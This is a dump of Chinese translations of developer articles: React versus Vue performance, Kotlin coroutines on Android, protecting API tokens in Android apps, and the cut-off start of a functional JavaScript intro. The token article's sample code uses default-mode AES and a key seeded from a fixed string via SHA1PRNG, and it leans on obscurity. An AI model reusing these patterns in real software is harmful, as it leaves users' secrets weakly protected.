    "content": ">* 原文链接 : [\"A fairer Vue of React\" - Comparing React to Vue for dynamic tabular data, part 2.](https://engineering.footballradar.com/a-fairer-vue-of-react-comparing-react-to-vue-for-dynamic-tabular-data-part-2/)\n* 原文作者 : [Max Willmott](https://engineering.footballradar.com/author/max-willmott/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [wildflame](https://github.com/wildflame)\n* 校对者:[hikerpig](https://github.com/hikerpig), [JolsonZhu](https://github.com/JolsonZhu), [godofchina](https://github.com/godofchina)\n\n# 较为完整的 React.js / Vue.js 的性能比较 Part 1\n\n_有关第一部分的文章，请访问 [https://engineering.footballradar.com/from-a-react-point-of-vue-comparing-reactjs-to-vuejs-for-dynamic-tabular-data/](https://engineering.footballradar.com/from-a-react-point-of-vue-comparing-reactjs-to-vuejs-for-dynamic-tabular-data/) 。第一篇文章的实验结果已经被证明有错误，但是它为这篇文章奠定了基础。_\n\n五月23日，周一，我们发布了一篇关于比较 React 和 Vue 的性能的文章，其实验数据比较了二者谁更适合处理频繁更新的列表数据，特别是在对性能要求非常高的情况下。比方说我们手头上的一个足球雷达（Football Radar）的项目。\n\n最初我们对实验结果信心满满，但发现几个较为重要的错误后，才知道实验结果并非像我们预期的那样。我们非常感谢在 React 和 Vue 社区里的宝贵意见 —— 特别是 React 的核心工程师克里斯托弗(Christopher Chedeau) ([@vjeux](https://twitter.com/vjeux))，和 Vue 的创始人尤雨溪([@youyuxi](https://twitter.com/youyuxi))—— 因为你们，我们才能快速的锁定这次测试中的出现的问题，可以说是因祸得福，因为尽管错误被公开使我感到有一些小小的尴尬，但我的确学到了很多，所以衷心的感谢你们的讨论。\n\n鉴于我们已为第一篇文章做了许多改进，不能否定还有进一步改进的余地，因此这篇文章比起来，更像是一篇游记，而不是一个全面完善的结果。\n\n这里首先，我想重申一下这次实验的目的，然后讲一下我们所犯的错误 —— 掌声送给那些帮助我们改正错误的人 —— 最后我会公布更新的更公正的测试结果。\n\n## 测试\n\n这个实验的输出是一组足球比赛，每一个都一秒更新一次数据。在实验中，为了测试性能及可拓展性，我们会修改两组独立的数据：足球比赛数量和每次更新之间的延迟。\n\n![](http://ac-Myg6wSTV.clouddn.com/5be4086d861ed7351bab.png)\n\n为了模拟页面加载情况及测量其可扩展性，我们分别使用 Vue 和 React 测试了50，100，500场比赛，其延迟分别是100ms，1s，然后看其可拓展性如何。\n\n我们的第一次结果不太客观，显示 Vue 的性能表现比 React 要好很多，其实是因为测试运行在开发模式（Development Mode），而这个疏忽直接造成了结果偏差。感谢克里斯多弗（@Christopher）提出这个问题：[https://github.com/footballradar/VueReactPerf/pull/3](https://github.com/footballradar/VueReactPerf/pull/3)。在生产模式（Production Mode）运行 React 忽略了一些消耗资源较大的进程，包括了 prop-types 的检查和警告。尽管这是一个非常明显的优化，但由于 React 默认运行在开发模式，所以这个优化很容易被忽略掉。我们要强调的是 Vue 也是运行在开发模式的，二者都同样被影响到了。那篇 pull-request 里接下来的相关讨论都非常醍醐灌顶。\n\n我们也用了一些无效的测试数据，这使得 Vue 比起 React 在同等条件下快了10倍。在我们的测试中，两个框架都具有相同的测试数据。但是 Github 上的 pull-request 里的那个版本并没有确保这点一致性，所以其他测试的人也许会看到这个具有误导性的结论。\n\n## 与上一个测试相比的改变\n\n*   在[生产模式](https://github.com/footballradar/VueReactPerf/pull/3)下运行。\n*   添加了 `webpack.optimize.UglifyJsPlugin` \n*   添加了 [babel-react-optimize preset](https://github.com/thejameskyle/babel-react-optimize)\n\n## 新发现\n\n以下是部分的开发者工具 timeline 的概要，在下面的这个项目里有实际的栈和 timeline 的截图：[[https://github.com/footballradar/VueReactPerf/tree/master/results/v2](https://github.com/footballradar/VueReactPerf/tree/master/results/v2)\n\n有意思的是，Chrome 的开发工具在获取 Vue 的 500 场比赛测试结果的 30s 时间线时崩溃了，但 React 的 500 场比赛测试却没有。我们截取了 15s 的结果以取代它，但是让人不解的是，Vue 相比于 React，其实有更多的空闲时间。\n\n所有下面的结果都共享同一个主题：由于 React 的虚拟 Dom 的实现，它的 scripting 上运行的时间更长；Vue 由于要直接更改 Dom ，所以它有关在 painting 和 rendering 工作上更耗费资源。然而，所有工作都做完以后，Vue 在大多数情况下仍然比 React 快25%。这虽然不同于我们最初的巨大区别，仍然是一个值得关注的问题。\n\n##### 50 场比赛，100ms 的延迟\nReact:  \n![](http://ww2.sinaimg.cn/large/a490147fgw1f4mtuj37onj207f04l74d.jpg)\n\nVue:  \n![](http://ac-Myg6wSTV.clouddn.com/29bf60c3f146eab2c6dc.png)\n##### 50 场比赛，1s的延迟\nReact:  \n![](http://ac-Myg6wSTV.clouddn.com/b0b15f794c9a2070a533.png)\n\nVue:  \n![](http://ac-Myg6wSTV.clouddn.com/f6d6c16641bcdbfdc6cb.png)\n##### 100 场比赛，100ms 的延迟\nReact:  \n![](http://ac-Myg6wSTV.clouddn.com/72c40b5122614ecb66af.png)\n\nVue:  \n![](http://ac-Myg6wSTV.clouddn.com/239e96ce2a5037dd7a9a.png)\n##### 100 场比赛，1s 的延迟\nReact:  \n![](http://ac-Myg6wSTV.clouddn.com/902c1fe2a6c6d5d9671f.png)\n\nVue:  \n![](http://ac-Myg6wSTV.clouddn.com/5490fb9635b763d94c05.png)\n##### 500 场比赛，100ms 的延迟\nReact:  \n![](http://ac-Myg6wSTV.clouddn.com/352538cf119141efb387.png)\n\nVue:  \n![](http://ac-Myg6wSTV.clouddn.com/20251f4ab6a45b138669.png)\n##### 500 场比赛，1s 的延迟\nReact:  \n![](http://ac-Myg6wSTV.clouddn.com/04278f218752b89c2042.png)\n\nVue:  \n![](http://ac-Myg6wSTV.clouddn.com/f6095bbea3543f55a175.png)\n\n## 结论\n\n总的来说，最初那个 Vue 比 React 表现好的结论在_这个用例_上仍然是有价值的，但是明显还有很多可以优化的地方，特别是 React。一个附带的结论是，需要多少的工作和相关知识，才能提高 React 的性能，而 Vue 在开箱即用的情况下就优化的很好。但不管我们说些什么，Vue 的开发者体验毫无疑问是更棒的。\n"
  },
  {
    "path": "TODO/a-first-walk-into-kotlin-coroutines-on-android.md",
    "content": "> * 原文地址：[A first walk into Kotlin coroutines on Android](https://android.jlelse.eu/a-first-walk-into-kotlin-coroutines-on-android-fe4a6e25f46a)\n> * 原文作者：[Antonio Leiva](https://android.jlelse.eu/@antoniolg)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Feximin](https://github.com/Feximin)\n> * 校对者：[wilsonandusa](https://github.com/wilsonandusa) 、[atuooo](https://github.com/atuooo)\n\n---\n\n# 第一次走进 Android 中的 Kotlin 协程\n\n![](https://cdn-images-1.medium.com/max/800/1*QU1_XFQvVRS5at9EHTqBkw.jpeg)\n\n> 本文提取并改编自最近更新的 [Kotlin for Android Developers](https://antonioleiva.com/book) 一书。\n\n\n协程是 Kotlin 1.1 引入的最牛逼的功能。他们确实很棒，不但很强大，而且社区仍然在挖掘如何使他们得到更加充分的利用。\n\n简单来说，协程是一种按序写异步代码的方式。**你可以一行一行地写代码，而不是到处都有乱七八糟的回调**。有的还将会有暂停执行然后等待结果返回的能力。\n\n如果你以前是 C# 程序员，async/await 是最接近的概念。但是 Kotlin 中的协程功能更强大，因为他们不是一个特定想法的实现，而是**一个语言级别的功能，可以有多种实现去解决各种问题**。\n\n你可以编写自己的实现，或者使用一个 Kotlin 团队和其他独立开发者已经构建好的实现。\n\n你要明白**协程在 Kotlin 1.1 中是一个实验性的功能**。这意味着当前实现在将来可能会改变，尽管旧的实现仍将被支持，但你有可能想迁移到新的定义上。如我们稍后将见，你需要去选择开启这个特性，否则在使用的时候会有警告。\n\n这也意味着你应该将本文视为一个（协程）可以做些什么的示例而不是一个经验法则。未来几个月可能会有很大变动。\n\n---\n \n### 理解协程如何工作\n\n本文旨在让你了解一些基本概念，会用一个现有的库，而不是去自己去实现一个。但我认为重要的是了解一些内部原理，这样你就不会盲目使用了。\n\n协程基于**暂停函数**的想法：那些函数被调用之后**可以终止（程序）执行**，一旦完成他们自己的任务之后又可以让他（程序）继续执行。\n\n暂停函数用保留关键字 `suspend` 来标记，而且只能在其他暂停函数或协程内部被调用。\n\n这意味着你不能随便调用一个暂停函数。需要有一个包裹函数来构建协程并提供所需的上下文。类似这样的： \n\n    fun <T> async(block: suspend () -> T)\n\n我并不是在解释如何实现上述方法。那是一个复杂的过程，不在本文范围内，并且大多情况下已经有多种实现好的方法了。\n\n如果你确实有兴趣实现自己的，你可以读一下 [**coroutines Github**](https://github.com/Kotlin/kotlin-coroutines/blob/master/kotlin-coroutines-informal.md) 中所写的规范。你仅需要知道的是：方法名字可以随意取，至少有一个暂停块做为参数。\n\n然后你可以实现一个暂停函数并在块中调用：\n\n    suspend fun mySuspendingFun(x: Int) : Result {\n     …\n    }\n\n    async {\n     val res = mySuspendingFun(20)\n     print(res)\n    }\n\n协程是线程吗？不完全是。他们的工作方式相似，但是（协程）更轻量、更有效。你可以有数以百万的协程运行在少量的几个线程中，这打开了一个充满可能性的世界。\n\n使用协程功能有三种方式：\n\n- **原始实现**：意思是创建你自己的方式去使用协程。这非常复杂并且通常不是必要的。\n- **底层实现**： Kotlin 提供了一套库，解决了一些最难的部分并提供了不同场景下的具体实现，你可以在 [kotlinx.coroutines](https://github.com/Kotlin/kotlinx.coroutines) 仓库中找到这些库，比如说： [one for Android](https://github.com/Kotlin/kotlinx.coroutines/tree/master/ui/kotlinx-coroutines-android) 。\n- **高级实现**：如果你只是想要**一个可以提供一切你所需的解决方案**来开始马上使用协程的话，有几个库可以使用，他们为你做了所有复杂的工作，并且（库的）数量在持续增长。我推荐  [Anko](https://github.com/Kotlin/anko)，他提供了一个可以很好的工作在 Android 上的方案，有可能你已经很熟悉了。\n\n---\n\n### 使用 Anko 实现协程\n\n自从 0.10 版本以来，Anko 提供了两种方法以在 Android 上使用协程。\n\n第一种与我们在上面的例子中看到的非常相似，和其他的库所做的也类似。\n\n首先，你需要创建**一个可以调用暂停函数的异步块**：\n\n    async(UI) {\n     …\n    }\n\nUI参数是 `async` 块的执行上下文。\n\n然后你可以创建**在后台线程中执行的块**，将结果返回给UI线程。那些块以 `bg` 方法定义：\n\n    async(UI) {\n     val r1: Deferred<Result> = bg { fetchResult1() }\n     val r2: Deferred<Result> = bg { fetchResult2() }\n     updateUI(r1.await(), r2.await())\n    }\n\n`bg` 返回一个 `Deferred` 对象，这个对象**在 `await()` 方法被调用后会暂停协程**，直到有结果返回。我们将在下面的例子中采用这种方案。\n\n正如你可能知道的，由于 Kotlin 编译器能够[推导出变量类型](https://antonioleiva.com/variables-kotlin/)，因此可以更加简单：\n\n    async(UI) {\n     val r1 = bg { fetchResult1() }\n     val r2 = bg { fetchResult2() }\n     updateUI(r1.await(), r2.await())\n    }\n\n第二种方法是利用与特定子库中提供的监听器的集成，这取决于你打算使用哪个监听器。\n\n例如，在 `anko-sdk15-coroutines` 中有一个 `onClick` 监听器，他的 lambda 实际上是一个协程。这样你就可以在监听器代码块上立即使用暂停函数：\n\n    textView.onClick {\n     val r1 = bg { fetchResult1() }\n     val r2 = bg { fetchResult2() }\n     updateUI(r1.await(), r2.await())\n    }\n\n如你所见，结果与之前的很相似。只是少了一些代码。\n\n为了使用他，你需要添加一些依赖，这取决于你想要使用哪些监听器：\n\n    compile “org.jetbrains.anko:anko-sdk15-coroutines:$anko_version”\n    compile “org.jetbrains.anko:anko-appcompat-v7-coroutines:$anko_version”\n    compile “org.jetbrains.anko:anko-design-coroutines:$anko_version”\n\n---\n\n### 在示例中使用协程\n\n在[这本书](https://antonioleiva.com/book)所解释的例子（你可以在[这里](https://github.com/antoniolg/Kotlin-for-Android-Developers)找到）中，我们创建了一个简单的天气应用。\n\n为了使用 Anko 协程，我们首先需要添加这个新的依赖：\n\n    compile “org.jetbrains.anko:anko-coroutines:$anko_version”\n\n接下来，如果你还记得，我曾经告诉过你需要选择使用这个功能，否则就会出现警告。要做到这一点（使用协程功能），只需要简单地在根文件夹下的 `gradle.properties` 文件（如果不存在就创建）中添加这一行：\n\n    kotlin.coroutines=enable\n\n现在，你已经准备好开始使用协程了。让我们首先进入详情 activity 中。他只是使用一个特定的命令调用了数据库（用来缓存每周的天气预报数据）。\n\n这是生成的代码：\n\n    async(UI) {\n        val id = intent.getLongExtra(ID, -1)\n        val result = bg { RequestDayForecastCommand(id)\n            .execute() }\n        bindForecast(result.await())\n    }\n\n太棒了！天气预报数据是在一个后台线程中请求的，这多亏了 `bg` 方法，这个方法返回了一个延迟结果。那个延迟结果在可以返回前会一直在 `bindForecast` 调用中等待。\n\n但并不是一切都好。发生了什么？协程有一个问题：**他们持有一个 `DetailActivity` 的引用，如果这个请求永不结束就会内存泄露**。\n\n别担心，因为 Anko 有一个解决方案。你可以为你的 activity 创建一个弱引用，然后使用那个弱引用来代替：\n\n    val ref = asReference()\n    val id = intent.getLongExtra(ID, -1)\n\n    async(UI) {\n     val result = bg { RequestDayForecastCommand(id).execute() }\n     ref().bindForecast(result.await())\n    }\n\n在 activity 可用时，弱引用允许访问 activity，当 activity 被杀死，协程将会取消。需要仔细确保的是所有对 activity 中的方法或属性的调用都要经过这个 `ref` 对象。\n\n但是如果协程多次和 activity 交互的话会有点复杂。例如，在 `MainActivity` 使用这个方案将变得更加复杂。\n\n这个 activity 将基于一个 zipCode 来调用一个端点来请求一周的天气预报数据：\n\n    private fun loadForecast() {\n\n    val ref = asReference()\n     val localZipCode = zipCode\n\n    async(UI) {\n     val result = bg { RequestForecastCommand(localZipCode).execute() }\n     val weekForecast = result.await()\n     ref().updateUI(weekForecast)\n     }\n    }\n\n你不能在 `bg` 块中使用 `ref()` ，因为在那个块中的代码不是一个暂停上下文，因此你需要将 `zipCode` 保存在另一个本地变量中。\n\n老实说，我认为泄露 activity 对象 1-2 秒没那么糟糕，不过有可能不能成为样板代码。因此如果你能确保你的后台处理不会永远不结束（比如，为你的服务器请求设置一个超时）的话，不使用 `asReference()` 也是安全的。\n\n这样的话，`MainActivity` 将变得更加简单：\n\n    private fun loadForecast() = async(UI) {\n     val result = bg { RequestForecastCommand(zipCode).execute() }\n     updateUI(result.await())\n    }\n\n综上，你已经可以一种非常简单的同步方式来写你的异步代码。\n\n这些代码非常简单，但是想象一下复杂的情况：后台操作的结果被下一个后台操作使用，或者当你需要遍历列表并为每一项都执行请求的时候。\n\n所有一切都可以写成常规的同步代码，写起来、维护起来将更加容易。\n\n---\n\n关于如何充分利用协程还有很多需要学习。如果你有更多相关的经验，请评论以让我们更加了解协程。\n\n如果你刚刚开始学习 Kotlin ，你可以看看[我的博客](https://antonioleiva.com/kotlin)，[这本书](https://antonioleiva.com/book)，或者关注我的 [Twitter](https://twitter.com/lime_cl)， [LinkedIn](https://www.linkedin.com/in/antoniolg/) 或者 [Github](https://github.com/antoniolg/) 。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/a-follow-up-on-how-to-store-tokens-securely-in-android.md",
    "content": "> * 原文地址：[A follow-up on how to store tokens securely in Android](https://medium.com/@enriquelopezmanas/a-follow-up-on-how-to-store-tokens-securely-in-android-e84ac5f15f17)\n> * 原文作者：[Enrique López Mañas](https://medium.com/@enriquelopezmanas)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [lovexiaov](https://github.com/lovexiaov)\n> * 校对者：[luoqiuyu](https://github.com/luoqiuyu) [hackerkevin](https://github.com/hackerkevin)\n\n![](https://cdn-images-1.medium.com/max/2000/1*nWjJ7GKUSVEQMC0srKK-9Q.jpeg)\n\n# 再谈如何安全地在 Android 中存储令牌 #\n\n作为本文的序言，我想对读者做一个简短的声明。下面的引言对本文的后续内容而言十分重要。\n\n> 没有绝对的安全。所谓的安全是指利用一系列措施的堆积和组合，来试图延缓必然发生的事情。\n\n大约 3 年前，我写了[一篇文章](http://codetalk.de/?p=86)，给出了几种方法来防止潜在攻击者反编译我们 Android 应用窃取字符串令牌。为了便于回忆，也为了防止不可避免的网络瘫痪，我将会在此重新列出一些章节。\n\n客户端应用与服务端的交互是最常见的场景之一。数据交换时的敏感度差别很大，并且登录请求、用户数据更改请求等之间交换的数据类型也变化多样。\n\n首先要提到并应用的技术是使用 [SSL](http://info.ssl.com/article.aspx?id=10241)（安全套接层）链接客户端与服务端。再看一下文章开头的引言。尽管这样做是一个良好的开端，但这并不能确保绝对的隐私和安全。\n\n当你使用 SSL 连接时（也就是当你看到浏览器上有一个小锁时），这意味着你与服务器之间的连接被加密了。理论上讲，没有什么能够访问到你请求里的信息（*）\n\n（*）我说过绝对的安全不存在吧？SSL 连接仍然可以被攻破。本文不打算提供所有可能的攻击手段列表，只想让你了解几种攻击的可能性。比如，可以伪造 SSL 证书，或者进行中间人攻击。\n\n我们继续。假设客户端正在通过加密的 SSL 通道与后台链接，它们在愉快的交换有用的数据，执行业务逻辑。但是我们还想提供一个额外的安全层。\n\n接下来要采取的措施是在通信中使用授权令牌或 API 密钥。当后台收到一个请求时，我们如何判断该请求是来自认证的客户端而不是任意一个想要获取我们 API 数据的家伙？后台会检查该客户端是否提供了一个有效的 API 密钥。如果密钥有效，则执行请求操作，否则拒绝该请求并根据业务需求采取一些措施（当出现此情况时，我一般会纪录他们的 IP 地址和客户端 ID，看一下他们的访问频率。如果频率高于我的忍受范围，我会考虑禁止并观察一下这个无礼的家伙想要得到什么）。\n\n让我们从头开始构建我们的城堡吧。在我们的应用中，添加一个叫做 API_KEY 的变量，该变量会自动注入到每次的请求（如果是 Android 应用，可能会是你的 Retrofit 客户端）中。\n\n```java\nprivate final static String API_KEY = “67a5af7f89ah3katf7m20fdj202”\n```\n\n很好，这样可以帮助我们鉴定客户端。但问题在于它本身并没有提供一个十分有效的安全保证。\n\n如果你使用 [apktool](https://ibotpeaches.github.io/Apktool/) 反编译该应用，然后搜索该字符串，你会在其中一个 .smali 文件中发现：\n\n```smali\nconst-string v1, “67a5af7f89ah3katf7m20fdj202”\n```\n\n是的，我知道。这并不能保证是一个有效的令牌，所以我们仍然需要通过一个精确的验证来决定如何找到那个字符串，和它是否可以用来通过验证。但是你知道我要表达什么：这通常只是时间和资源的问题。\n\nProguard 是否会能我们保证该字符串的安全呢？并不能。Proguard 在[常见问题](http://proguard.sourceforge.net/FAQ.html#encrypt)中提到了字符串的加密是完全不可能的。\n\n那将字符串保存到 Android 提供的其他存储机制中呢，比如说 SharedPreferences？这并不是一个好方法。在模拟器或者 root 过的设备中可以轻易的访问到 SharedPreferences。几年前，一个叫 [Srinivas](http://resources.infosecinstitute.com/android-hacking-security-part-9-insecure-local-storage-shared-preferences/) 的伙计向我们证明了如何更改一个视频游戏中的得分。跑题了！\n\n#### 原生开发工具包 (NDK) ####\n\n我将会更新我提出的初始模型，不断迭代它，以提供更安全的替代方案。我们假设有两个函数分别负责加密和解密数据：\n\n```java\n private static byte[] encrypt(byte[] raw, byte[] clear) throws Exception {\n        SecretKeySpec skeySpec = new SecretKeySpec(raw, \"AES\");\n        Cipher cipher = Cipher.getInstance(\"AES\");\n        cipher.init(Cipher.ENCRYPT_MODE, skeySpec);\n        byte[] encrypted = cipher.doFinal(clear);\n        return encrypted;\n    }\n\n    private static byte[] decrypt(byte[] raw, byte[] encrypted) throws Exception {\n        SecretKeySpec skeySpec = new SecretKeySpec(raw, \"AES\");\n        Cipher cipher = Cipher.getInstance(\"AES\");\n        cipher.init(Cipher.DECRYPT_MODE, skeySpec);\n        byte[] decrypted = cipher.doFinal(encrypted);\n        return decrypted;\n    }\n```\n\n代码没啥好说的。这两个函数会使用一个密钥值和一个被用来编/解码的字符串作为入参。它们会返回相应的加密或解密过的字符串。我们会用如下方式调用它们：\n\n```java\nByteArrayOutputStream baos = new ByteArrayOutputStream();\nbm.compress(Bitmap.CompressFormat.PNG, 100, baos);\nbyte[] b = baos.toByteArray();\n\nbyte[] keyStart = \"encryption key\".getBytes();\nKeyGenerator kgen = KeyGenerator.getInstance(\"AES\");\nSecureRandom sr = SecureRandom.getInstance(\"SHA1PRNG\");\nsr.setSeed(keyStart);\nkgen.init(128, sr);\nSecretKey skey = kgen.generateKey();\nbyte[] key = skey.getEncoded();\n\n// encrypt\nbyte[] encryptedData = encrypt(key,b);\n// decrypt\nbyte[] decryptedData = decrypt(key,encryptedData);\n```\n\n猜到为什么要这么做了吗？是的，我们可以根据需求来加/解密令牌。这就为我们提供了一个额外的安全层：当代码混淆后，寻找令牌不再像执行字符串搜索和检查字符串周围的环境那样简单了。但是，你能指出还有一个需要解决的问题吗？\n\n找到了吗？\n\n如果还没找到就多花点时间。\n\n是的。我们仍然有一个加密密钥以字符串的形式存储。虽然这种隐晦的做法增加了更多的安全层，但不管这个令牌是用于加密或它本身就是一个令牌，我们仍然有一个以明文形式存在的令牌。\n\n现在，我们将使用 NDK 来继续迭代我们的安全机制。\n\nNDK 允许我们在 Android 代码中访问 C++ 代码库。首先我们来想一下要做什么。我们可以在一个 C++ 函数中存放 API 密钥或者敏感数据。该函数可以在之后的代码中调用，避免了在 Java 文件中存储字符串。这就提供了一个自动的保护机制来防止反编译技术。\n\nC++ 函数如下：\n\n```cpp\nJava_com_example_exampleApp_ExampleClass_getSecretKey( JNIEnv* env,\n                                                  jobject thiz )\n{\n    return (*env)->NewStringUTF(env, \"mySecretKey\".\");\n}\n```\n\n在 Java 代码中调用它也很简单：\n\n```java\nstatic {\n        System.loadLibrary(\"library-name\");\n    }\n\npublic native String getSecretKey();\n```\n\n在加/解密函数中会这样调用：\n\n```java\nbyte[] keyStart = getSecretKey().getBytes();\n```\n\n此时我们生成 APK，混淆它，然后反编译并尝试在原生函数 getSecretKey() 中查找该字符串，无法找到！胜利了吗？\n\n并没有！NDK 代码其实也可以被反汇编和检查。只是难度较高，需要更高级的工具和技术。虽然这样可以摆脱掉 95% 的脚本小子，但一个有充足资源和动机的团队让然可以拿到令牌。还记得这句话吗？\n\n> 没有绝对的安全。所谓的安全是指利用一系列措施的堆积和组合，来试图延缓必然发生的事情。\n\n![](https://cdn-images-1.medium.com/max/800/1*JPErsmBbKjKbFoQYJAoUkg.png)\n\n你仍然可以在反汇编代码中找到该字符串字面值。[Hex Rays](https://www.hex-rays.com/products/decompiler/) 在反编译原生文件方面就做的很好。我很确信有一大堆的工具可以解构 Android 生成的任意原生代码（我跟 Hex Rays 并没有关系，也没有从他们那里拿到任何形式的资金酬劳）。\n\n那么，我们要使用哪种方案来避免后台与客户端的通信被标记呢？\n\n**在设备上实时生成密钥。**\n\n你的设备不需要存储任何形式的密钥并处理各种保护字符串字面值的麻烦！这是在服务中用到的非常古老的技术，比如远程密钥验证。\n\n1. 客户端知道有个函数会返回一个密钥。\n2. 后台知道在客户端中实现的那个函数。\n3. 客户端通过该函数生成一个密钥，并发送到服务器上。\n4. 服务器验证密钥，并根据请求执行相应的操作。\n\n抓到重点了吗？为什么不使用返回三个随机素数（ 1～100 之间）之和的函数来代替返回一个字符串（很容易被识别）的原生函数呢？或者拿到当天的 UNIX 时间，然后给每一位数字加 1？通过设备的一些上下文相关信息(如正在使用的内存量)来提供一个更高程度的熵值？\n\n上面这段包含了一些想法，希望读者们已经得到重点了。\n\n### **总结** ###\n\n1. 绝对的安全是不存在的。\n2. 多种保护手段的结合是达到高安全度的关键。\n3. 不要在代码中存储字符串明文。\n4. 使用 NDK 来创建自生成的密钥。\n\n还记得开头的那段话吧？\n\n> 没有绝对的安全。所谓的安全是指利用一系列措施的堆积和组合，来试图延缓必然发生的事情。\n\n我想再强调一次，你的目标是尽可能的保护你的代码，同时不要忘记 100% 的安全是不可能的。但是，如果你能保证解密你代码中任意的敏感信息都需要耗费大量的资源，你就能安心睡觉啦。\n\n### 一个小小的免责声明 ###\n\n我知道，读到此处，纵观整文，你会纳闷“这家伙怎么讲了所有麻烦的方法而没有提到 [Dexguard](https://www.guardsquare.com/en/dexguard) 呢？”。是的 Dexguard 可以混淆字符串，他们在这方面做的很好。然而 Dexguard 的售价[让人望而却步](http://thinkdiff.net/mobile/dexguard-480-eur-to-10313-eur-the-worst-software-do-not-use/)。我在之前的公司的关键安全系统中使用过 Dexguard，但这也许并不是一个适合所有人的选择。再说了，像生活一样，在软件开发中选择越多世界越丰富多彩。\n\n愉快的编码吧！\n\n我会在 [Twitter](https://twitter.com/eenriquelopez) 上写一些关于软件工程和生活点滴的思考。如果你喜欢此文，或者它能帮到你，请随意分享，点赞或者留言。这是业余作者写作的动力。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/a-functional-programmers-introduction-to-javascript-composing-software.md",
    "content": "> * 原文地址：[A Functional Programmer’s Introduction to JavaScript (Composing Software)(part 3)](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[sunui](http://suncafe.cc)\n> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)、[avocadowang](https://github.com/avocadowang)\n\n# [第三篇] 函数式程序员的 JavaScript 简介（软件编写）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg\">\n\n烟雾艺术魔方 — MattysFlicks — (CC BY 2.0)\n\n> 注意：这是“软件编写”系列文章的第三部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！\n> [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/why-learn-functional-programming-in-javascript-composing-software.md)  | [<<第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)  | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/higher-order-functions-composing-software.md)\n\n对于不熟悉 JavaScript 或 ES6+ 的同学，这里做一个简短的介绍。无论你是 JavaScript 开发新手还是有经验的老兵，你都可能学到一些新东西。以下内容仅是浅尝辄止，吊吊大家的兴致。如果想知道更多，还需深入学习。敬请期待吧。\n\n\n学习编程最好的方法就是动手编程。我建议您使用交互式 JavaScript 编程环境（如 [CodePen](https://codepen.io/) 或 [Babel REPL](https://babeljs.io/repl/)）。\n\n或者，您也可以使用 Node 或浏览器控制台 REPL。\n\n### 表达式和值 ###\n\n表达式是可以求得数据值的代码块。\n\n下面这些都是 JavaScript 中合法的表达式：\n\n```\n7;\n\n7 + 1; // 8\n\n7 * 2; // 14\n\n'Hello'; // Hello\n```\n\n表达式的值可以被赋予一个名称。执行此操作时，表达式首先被计算，取得的结果值被赋值给该名称。对于这一点我们将使用 `const` 关键字。这不是唯一的方式，但这将是你使用最多的，所以目前我们就可以坚持使用 `const`。\n\n```\nconst hello = 'Hello';\nhello; // Hello\n```\n\n### var、let 和 const ###\n\nJavaScript 支持另外两种变量声明关键字：`var`，还有 `let`。我喜欢根据选择的顺序来考虑它们。默认情况下，我选择最严格的声明方式：`const`。用 `const` 关键字声明的变量不能被重新赋值。最终值必须在声明时分配。这可能听起来很严格，但限制是一件好事。这是个标识在提醒你“赋给这个名称的值将不会改变”。它可以帮你全面了解这个名称的意义，而无需阅读整个函数或块级作用域。\n\n有时，给变量重新赋值很有用。比如，如果你正在写一个手动的强制性迭代，而不是一个更具功能性的方法，你可以迭代一个用 `let` 赋值的计数器。\n\n因为 `var` 能告诉你很少关于这个变量的信息，所以它是最无力的声明标识。自从开始用 ES6，我就再也没在实际软件项目中有意使用 `var` 作声明了。\n\n注意一下，一个变量一旦用 `let` 或 `const` 声明，任何再次声明的尝试都将导致报错。如果你在 REPL（读取-求值-输出循环）环境中更喜欢多一些实验性和灵活性，那么建议你使用 `var` 声明变量，与 `let` 和 `const` 不同，使用 `var` 重新声明变量是合法的。\n\n本文将使用 const 来让您习惯于为实际程序中用 `const`，而出于试验的目的自由切换回 `var`。\n\n### 数据类型 ###\n\n目前为止我们见到了两种数据类型：数字和字符串。JavaScript 也有布尔值（`true` 或 `false`）、数组、对象等。稍后我们再看其他类型。\n\n数组是一系列值的有序列表。可以把它比作一个能够装很多元素的容器。这是一个数组字面量：\n\n```\n[1, 2, 3];\n```\n\n当然，它也是一个可被赋予名称的表达式：\n\n```\nconst arr = [1, 2, 3];\n```\n\n在 JavaScript 中，对象是一系列键值对的集合。它也有字面量：\n\n```\n{\n  key: 